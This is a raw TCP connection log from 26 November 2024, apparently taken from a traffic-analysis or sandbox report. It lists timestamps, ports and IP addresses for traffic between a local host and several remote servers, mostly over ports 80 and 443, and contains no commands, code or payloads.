Nov 26, 2024 10:09:42.624677896 CET	49883	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.624942064 CET	49883	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.624963045 CET	443	49883	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.624974966 CET	49883	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.624979973 CET	443	49883	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.629585981 CET	49890	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.629590988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:42.629622936 CET	443	49890	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.629653931 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:42.629693985 CET	49890	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.631378889 CET	49890	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.631392956 CET	443	49890	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.634747982 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:42.677557945 CET	443	49888	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.678267956 CET	49888	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.678288937 CET	443	49888	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.681324005 CET	49888	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.681328058 CET	443	49888	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.736772060 CET	443	49885	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.736843109 CET	443	49885	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.736994982 CET	49885	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.737107038 CET	49885	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.737118959 CET	443	49885	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.737148046 CET	49885	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.737154007 CET	443	49885	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.741018057 CET	49892	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.741060972 CET	443	49892	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.741168022 CET	49892	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.741426945 CET	49892	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.741451979 CET	443	49892	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.754643917 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:42.754791975 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:42.757664919 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:42.769215107 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:42.769227028 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:42.769551992 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:42.769551992 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:42.769571066 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:42.811750889 CET	443	49884	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.811814070 CET	443	49884	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.815387011 CET	49884	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.815387011 CET	49884	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.815490961 CET	49884	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.815502882 CET	443	49884	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.819346905 CET	49894	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.819365025 CET	443	49894	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.819545031 CET	49894	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.821342945 CET	49894	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:42.821355104 CET	443	49894	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:42.878511906 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:42.895971060 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.896064997 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:42.896192074 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.896697998 CET	49886	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:42.896712065 CET	443	49886	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:43.045913935 CET	443	49887	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.045994997 CET	443	49887	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.046329975 CET	49887	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.046329975 CET	49887	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.046417952 CET	49887	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.046433926 CET	443	49887	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.049762011 CET	49895	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.049803972 CET	443	49895	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.049993992 CET	49895	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.050086021 CET	49895	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.050101995 CET	443	49895	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.120290995 CET	443	49888	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.120347023 CET	443	49888	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.120410919 CET	49888	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.120635986 CET	49888	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.120635986 CET	49888	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.120656967 CET	443	49888	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.120666027 CET	443	49888	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.123766899 CET	49896	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.123807907 CET	443	49896	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.123894930 CET	49896	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.124205112 CET	49896	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:43.124219894 CET	443	49896	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:43.242958069 CET	443	49819	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:43.243046999 CET	443	49819	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:43.243202925 CET	49819	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:43.282155037 CET	443	49820	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:43.282190084 CET	443	49820	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:43.282284975 CET	49820	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:44.127933979 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.128221989 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:44.128237009 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.129301071 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.129400015 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:44.130527020 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:44.130609035 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.131072044 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:44.131081104 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.149027109 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.149069071 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.149082899 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.149142981 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.149153948 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.149154902 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.149167061 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.149171114 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.149180889 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.149184942 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.149214983 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.149238110 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.151325941 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.151391983 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.163731098 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.163744926 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.164067030 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.172751904 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:44.269202948 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.269320011 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.269340992 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.269418955 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.350142956 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.350172043 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.350234985 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.350330114 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.356012106 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.356089115 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.356264114 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.356419086 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.363441944 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.363528967 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.366281986 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.366384983 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.366394043 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.366514921 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.373889923 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.373944044 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.373995066 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.374073982 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.382128000 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.382237911 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.382332087 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.390497923 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.390593052 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.390634060 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.390634060 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.398803949 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.398910999 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.398940086 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.398962021 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.407680988 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.407783031 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.407871962 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.407965899 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.414987087 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.415061951 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.415083885 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.415168047 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.415781021 CET	443	49890	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.416593075 CET	49890	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.416603088 CET	443	49890	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.417300940 CET	49890	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.417305946 CET	443	49890	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.424241066 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.424348116 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.424619913 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.424740076 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.432457924 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.432627916 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.470663071 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.470760107 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.550844908 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.550893068 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.550932884 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.550962925 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.553400993 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.553483963 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.553499937 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.553608894 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.558535099 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.558548927 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.558609009 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.558609009 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.563710928 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.563790083 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.563832998 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.563882113 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.568902016 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.569013119 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.569048882 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.569221973 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.570667028 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.574094057 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.574161053 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.574197054 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.574284077 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.579757929 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.579817057 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.579842091 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.579869032 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.584867954 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.584923983 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.584955931 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.585011959 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.589683056 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.589931011 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.589932919 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.589983940 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.594856024 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.594911098 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.595014095 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.595088959 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.597609043 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.597621918 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.597676992 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.597692013 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.597711086 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:44.597760916 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:44.600055933 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.600135088 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.600140095 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.600269079 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.605209112 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.605309010 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.605376959 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.605479956 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.609061003 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.609174967 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.609347105 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.612834930 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.612907887 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.612938881 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.612989902 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.616684914 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.616813898 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.616842031 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.616863012 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.618235111 CET	49893	443	192.168.2.5	23.44.133.31
Nov 26, 2024 10:09:44.618257046 CET	443	49893	23.44.133.31	192.168.2.5
Nov 26, 2024 10:09:44.620522022 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.620609999 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.620645046 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.620815039 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.624504089 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.624593973 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.624608040 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.624661922 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.628367901 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.628417015 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.628451109 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.628493071 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.630410910 CET	443	49894	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.631273985 CET	49894	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.631287098 CET	443	49894	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.632049084 CET	49894	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.632055044 CET	443	49894	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.632249117 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.632293940 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.632314920 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.632396936 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.636086941 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.636253119 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.636296988 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.636296988 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.637758017 CET	49819	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:44.637782097 CET	443	49819	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:44.637902975 CET	49820	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:44.637923956 CET	443	49820	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:44.638322115 CET	49897	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:44.638355970 CET	443	49897	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:44.638420105 CET	49897	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:44.638849974 CET	49897	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:44.638863087 CET	443	49897	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:44.640568018 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.640616894 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.640691996 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.640691996 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.654084921 CET	443	49892	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.654809952 CET	49892	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.654831886 CET	443	49892	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.655494928 CET	49892	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.655502081 CET	443	49892	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.752264977 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.752360106 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.752382040 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.752576113 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.753552914 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.753647089 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.753772974 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.756656885 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.756817102 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.756903887 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.759737968 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.759828091 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.759860992 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.760251999 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.762679100 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.762820959 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.762936115 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.765660048 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.765760899 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.765839100 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.766371012 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.768582106 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.768680096 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.768691063 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.768908024 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.769553900 CET	443	49895	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.770354986 CET	49895	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.770376921 CET	443	49895	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.770859957 CET	49895	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:44.770867109 CET	443	49895	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:44.771534920 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.771619081 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.771626949 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.772340059 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.774400949 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.774494886 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.774648905 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.774840117 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.777206898 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.777304888 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.777326107 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.777595043 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.780091047 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.780150890 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.780345917 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.782807112 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.782906055 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.782943964 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.783094883 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.785799026 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.785860062 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.785901070 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.786061049 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.789057970 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.789132118 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.789165974 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.789221048 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.791856050 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.791954994 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.792017937 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.794955969 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.795044899 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:44.795049906 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:44.795157909 CET	49891	80	192.168.2.5	185.215.113.16
